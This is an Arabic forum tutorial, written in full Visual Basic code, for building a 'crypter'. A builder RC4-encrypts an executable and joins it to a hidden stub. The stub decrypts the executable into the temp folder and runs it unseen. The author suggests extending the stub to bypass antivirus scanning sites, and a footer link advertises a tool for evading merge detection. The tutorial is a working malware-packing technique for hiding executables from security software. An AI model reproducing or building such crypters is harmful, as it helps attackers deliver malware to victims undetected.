شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

Admin عدد المساهمات : 50 تاريخ التسجيل : 24/07/2013

السلام عليكم

كيف الحال

مبين من العنوآن

اليوم بشرح لكم طريقه بسيطه لتصميم برنامج تشفير

طبعا بعد ماتصصمونه وتحسون طفشتم منه

تستطيعون انكم تطوورون الستب حق البرنامج

مثل تخطي مواقع الفحص الخ

ماعلينا

الحين بشرح لكم طريقه تصميم برنامج تشفير

وبرنامج راح يعتمد على شيئين

1- برنامج عادي يظهر للمستخدم

2- ستب وهو الى عليه كل كلام التشفير وغير ظاهر للمستخدم

يالله ندخل بالشرح

مختصر بصوره

شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك Png

شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك Png

طيب الحين نجي الاكوآد

كـواد البرنامج :_:

في التصريحات العامه (General ) :_:

كود PHP:

الرمز:

Option Explicit

الرمز:

Const FileSplit = "<%*#%>"

الرمز:

Const pw = "DnT%m25@#qß"

في زر الاستعراض

Command1

نضع هذا الكود :

كود PHP:

الرمز:

With CommonDialog1 ' انتظار اداه دايلق

الرمز:

.Filter = "Excuteable Files (*exe) | ******" ' استعراض ملف صيغه exe تنفيذيه تستطيع انك تبدل

الرمز:

.DialogTitle = "Select a File"

الرمز:

.ShowOpen ' امر الاستعراض وجلب

الرمز:

End With

الرمز:

****1.**** = CommonDialog1.File**** ' امر احضار الملف في مربع التكست

النجوم رقم 1 تعني = T e x t

النجوم الثانيه تعني = N A M E

في زر التشفير

Command2

نضع هذا الكود :

كود PHP:

الرمز:

Dim sStube As String, sFile As String

الرمز:

Open App.Path & "\stube*****" For Binary As #1 ' اسم الستب

الرمز:

sStube = Space(LOF(1))

الرمز:

Get #1, , sStube

الرمز:

Close #1

الرمز:

Open ****1.**** For Binary As #1

الرمز:

sFile = Space(LOF(1))

الرمز:

Get #1, , sFile

الرمز:

Close #1

الرمز:

Open App.Path & "\s3od*****" For Binary As #1 ' اسم الملف الناتج بعد التشفير

الرمز:

Put #1, , sStube & FileSplit & RC4(sFile, pw)

الرمز:

Close #1

الرمز:

MsgBox "مبــروك تم تشفير الملف بنجآح"

النجوم تعني = t e x t

في الموديل الى اضنفاه

ModRc4

نضع هذا الكود :_:

كود PHP:

الرمز:

Public Function RC4(ByVal Expression As String, ByVal Password As String) As String

الرمز:

On Error Resume Next

الرمز:

Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte

الرمز:

If Len(Password) = 0 Then

الرمز:

Exit Function

الرمز:

End If

الرمز:

If Len(Expression) = 0 Then

الرمز:

Exit Function

الرمز:

End If

الرمز:

If Len(Password) > 256 Then

الرمز:

Key() = StrConv(Left$(Password, 256), vbFromUnicode)

الرمز:

Else

الرمز:

Key() = StrConv(Password, vbFromUnicode)

الرمز:

End If

الرمز:

For X = 0 To 255

الرمز:

RB(X) = X

الرمز:

Next X

الرمز:

X = 0

الرمز:

Y = 0

الرمز:

Z = 0

الرمز:

For X = 0 To 255

الرمز:

Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256

الرمز:

Temp = RB(X)

الرمز:

RB(X) = RB(Y)

الرمز:

RB(Y) = Temp

الرمز:

Next X

الرمز:

X = 0

الرمز:

Y = 0

الرمز:

Z = 0

الرمز:

ByteArray() = StrConv(Expression, vbFromUnicode)

الرمز:

For X = 0 To Len(Expression)

الرمز:

Y = (Y + 1) Mod 256

الرمز:

Z = (Z + RB(Y)) Mod 256

الرمز:

Temp = RB(Y)

الرمز:

RB(Y) = RB(Z)

الرمز:

RB(Z) = Temp

الرمز:

ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))

الرمز:

Next X

الرمز:

RC4 = StrConv(ByteArray, vbUnicode)

الرمز:

End Function

..........................

بكذا يكون خلصنا من اكوآد البرنامج

نحفظه exe

ونضعه بمجلد الحاله ثم الان نجي لستب

ونضع اكوآده

الموديل الى في الستب

الاول

ModMain

الكود الذي يوضع فيه هو :

كود PHP:

الرمز:

Option Explicit

الرمز:

Const FileSplit = "<%*#%>"

الرمز:

Const pw = "DnT%m25@#qك"

الرمز:

Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

الرمز:

Public Sub Main()

الرمز:

Dim sStub As String, sFile As String

الرمز:

Open App.Path & "\" & App********* & ".exe" For Binary As #1 ' اضافة ملف امتدآده تنفيذي

الرمز:

sStub = Space(LOF(1))

الرمز:

Get #1, , sStub ' اسم الستب

الرمز:

Close #1 ' اغلاق

الرمز:

sFile = Split(sStub, FileSplit)(1)

الرمز:

Open Environ("tmp") & "decrypted.exe" For Binary As #1

الرمز:

Put #1, , RC4(sFile, pw)

الرمز:

Close #1 'وضع نسخه باسم مسمي في التيمب واغلاق بعد الانتهاء

الرمز:

Call ShellExecute(0, vbNullString, Environ("tmp") & "decrypted.exe", vbNullString, vbNullString, 1) 'الاتصال بالملف الذي تم نسخه

الرمز:

End Sub

النجوم تعني = N a m e

موديل رقم 2

باسم ModRc4

كود هـو :

كود PHP:

الرمز:

Public Function RC4(ByVal Expression As String, ByVal Password As String) As String

الرمز:

On Error Resume Next

الرمز:

Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte

الرمز:

If Len(Password) = 0 Then

الرمز:

Exit Function

الرمز:

End If

الرمز:

If Len(Expression) = 0 Then

الرمز:

Exit Function

الرمز:

End If

الرمز:

If Len(Password) > 256 Then

الرمز:

Key() = StrConv(Left$(Password, 256), vbFromUnicode)

الرمز:

Else

الرمز:

Key() = StrConv(Password, vbFromUnicode)

الرمز:

End If

الرمز:

For X = 0 To 255

الرمز:

RB(X) = X

الرمز:

Next X

الرمز:

X = 0

الرمز:

Y = 0

الرمز:

Z = 0

الرمز:

For X = 0 To 255

الرمز:

Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256

الرمز:

Temp = RB(X)

الرمز:

RB(X) = RB(Y)

الرمز:

RB(Y) = Temp

الرمز:

Next X

الرمز:

X = 0

الرمز:

Y = 0

الرمز:

Z = 0

الرمز:

ByteArray() = StrConv(Expression, vbFromUnicode)

الرمز:

For X = 0 To Len(Expression)

الرمز:

Y = (Y + 1) Mod 256

الرمز:

Z = (Z + RB(Y)) Mod 256

الرمز:

Temp = RB(Y)

الرمز:

RB(Y) = RB(Z)

الرمز:

RB(Z) = Temp

الرمز:

ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))

الرمز:

Next X

الرمز:

RC4 = StrConv(ByteArray, vbUnicode)

الرمز:

End Function

طيب الحين نحفظ الستب

باسم

Stube

ونحطه جنب البرنامج الى حفظناه ونستمتع بالتشفيره والبرمجه

تستطيع انك تبدل اسم الستب للي تحب عادي في الاكوآد حقت البرنامج

على شان محد يقول سعود قصر

ارفقت لكم في مجلد الصور + الاكوآد + السورس الى تم تطبيق عليه الشرح

على شان لما تخطئون تعرفون اخطأكم وين

لتحمـيل المشروع والشرح والاكواد من هنـآ

وان شاء الله اكون سويت لكم فائده

وتقدرون تطوروون الستب حق برنامجكم لانه هو اهم شي لما تطورونه راح تطوروون الملف الناتج

اهداء للجميع

» قوانين قسم الفيجوال بيسك : مهم جداً قبل كتابة اي موضوع
» لتعريب البرنامج [ الفجوال بيسك Visual Basic ]
» وصل : كتاب حتراف فيجوال بيسك 8
» بعض الاسسيات ليفجوال بيسك مع التنزيل مهم
» حصـريآ : DmarAnti v1.ocx . . أول اداه عربيه لتخطي مواقع كشف الدمج .دورة [ الفجوال بيسك Visual Basic ]